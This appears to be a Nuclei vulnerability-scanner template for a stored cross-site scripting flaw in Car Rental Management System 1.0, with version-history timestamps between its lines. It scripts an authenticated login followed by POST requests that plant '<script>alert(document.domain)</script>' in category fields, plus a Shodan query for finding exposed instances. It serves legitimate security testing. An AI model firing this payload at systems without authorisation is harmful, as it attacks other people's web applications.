nuclei-templates/http/vulnerabilities/other/carrental-xss.yaml

74 lines
2.3 KiB
YAML
Raw Normal View History

2022-07-31 21:09:55 +00:00
id: carrental-xss
info:
name: Car Rental Management System 1.0 - Cross-Site Scripting
2022-07-31 21:09:55 +00:00
author: arafatansari
2022-08-01 05:21:34 +00:00
severity: medium
2022-07-31 21:09:55 +00:00
description: |
Car Rental Management System 1.0 contains a cross-site scripting vulnerability via admin/ajax.php?action=save_category in Name and Description parameter.
2022-07-31 21:09:55 +00:00
reference:
- https://www.exploit-db.com/exploits/49546
2022-08-01 05:21:34 +00:00
- https://www.sourcecodester.com/
classification:
2023-03-03 15:27:54 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
2024-09-10 08:22:50 +00:00
cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:*:*:*:*:*:*:*:*
2022-07-31 21:09:55 +00:00
metadata:
2022-08-01 05:21:34 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 3
2022-07-31 21:09:55 +00:00
shodan-query: http.html:"Car Rental Management System"
2024-09-10 08:22:50 +00:00
product: car_rental_management_system
vendor: car_rental_management_system_project
2023-10-14 11:27:55 +00:00
tags: xss,cms,authenticated,edb,intrusive
2022-07-31 21:09:55 +00:00
http:
2022-07-31 21:09:55 +00:00
- raw:
- |
POST /admin/ajax.php?action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-01 05:21:34 +00:00
username={{username}}&password={{password}}
2022-07-31 21:09:55 +00:00
- |
POST /admin/ajax.php?action=save_category HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCMJ5bh3B6m9767Em
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition: form-data; name="id"
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition: form-data; name="name"
2022-08-01 05:21:34 +00:00
</script><script>alert(document.domain)</script>
2022-07-31 21:09:55 +00:00
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition: form-data; name="description"
2022-08-01 00:10:27 +00:00
<script>alert(document.domain)</script>
2022-07-31 21:09:55 +00:00
------WebKitFormBoundaryCMJ5bh3B6m9767Em--
- |
GET /admin/index.php?page=categories HTTP/1.1
Host: {{Hostname}}
host-redirects: true
2022-07-31 21:09:55 +00:00
max-redirects: 2
2023-10-14 11:27:55 +00:00
2022-07-31 21:09:55 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-08-01 05:21:34 +00:00
- '<p>Name: <b></script><script>alert(document.domain)</script></b>'
- type: word
part: header
words:
- text/html
2022-07-31 21:09:55 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100f9ba9f9f4a1ebd43c991ea5b8f2aa02511692f41cdf97f78d998f4e525a91fab02205a39770dd5d8fc210f5e66877e84641e25842fdd4c0d499505216aa3df35505f:922c64590222798bb761d5b6d8e72950